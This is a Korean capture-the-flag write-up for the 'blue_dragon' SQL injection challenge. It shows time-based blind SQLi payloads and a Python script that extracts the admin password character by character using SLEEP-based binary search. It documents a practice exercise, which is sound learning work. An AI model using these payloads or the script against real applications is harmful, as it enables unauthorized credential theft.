blue_dragon
이 문제에서는 홑따옴표와 백슬래쉬를 필터링 하고 있어, 이 문자들을 입력하면 “No Hack” 출력된다.
그러나 잘 살펴보면 필터링은 2개의 구간에서 나눠져 진행되고 있으며
홑따옴표와 백슬래쉬를 필터링 하는 구간은 쿼리문이 실행되고 난 이후이다.
$result = @mysqli_fetch_array(...)부분에 의해 쿼리 실행되고 정규식 필터링이 진행된다.

따라서, 홑따옴표/백슬래쉬를 파라미터에 삽입하여 요청을 보내면 차단(No Hack)되는 것처럼 보이지만,
실상은 공격자가 삽입한 쿼리는 DB에서 실행된다. 이건 Time-based SQLi를 진행하면 확실히 알 수 있다.
- 아래 쿼리문을 작성하여 요청을 보내면 약 5초 후에 “No Hack” 메시지가 렌더링 됐다.

아래 페이로드를 삽입 후 요청을 보내 admin 계정의 패스워드는 8바이트로 구성됨을 확인했다.
(공격 페이로드 - 보기 편하게) ?id=&pw=' OR (IF(id='admin' AND LENGTH(pw)=8, SLEEP(3), 0)) AND '1'='1
(공격 페이로드) ?id=&pw=%27%20OR%20(IF(id=%27admin%27%20AND%20LENGTH(pw)=8,%20SLEEP(3),%200))%20AND%20%271%27=%271
이제 패스워드 길이를 알았으니, 패스워드 값을 추출하기 위해 파이썬 스크립트를 작성한다.
import requests
import time
t_url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(1, 9):
low = 1
high = 150
while low <= high:
mid = (low + high) // 2
#print(low, mid, high)
payload = ( f"?id=&pw=%27%20OR%20(IF(id=%27admin%27%20AND%20ORD(SUBSTR(pw,{i},1))>{mid},%20SLEEP(3),%200))%20AND%20%271%27=%271" )
start = time.time()
r = requests.get(t_url + payload, cookies=cookie)
end = time.time()
if int(end - start) > 1:
low = mid + 1
else:
high = mid - 1
if low > high:
password = password + chr(high + 1)
numValue = numValue + str(high + 1) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break추출한 패스워드를 서버로 전달해서 요 문제도 클리어ㅏ!!!!했다.

🐛.. 🐛.. 🐛..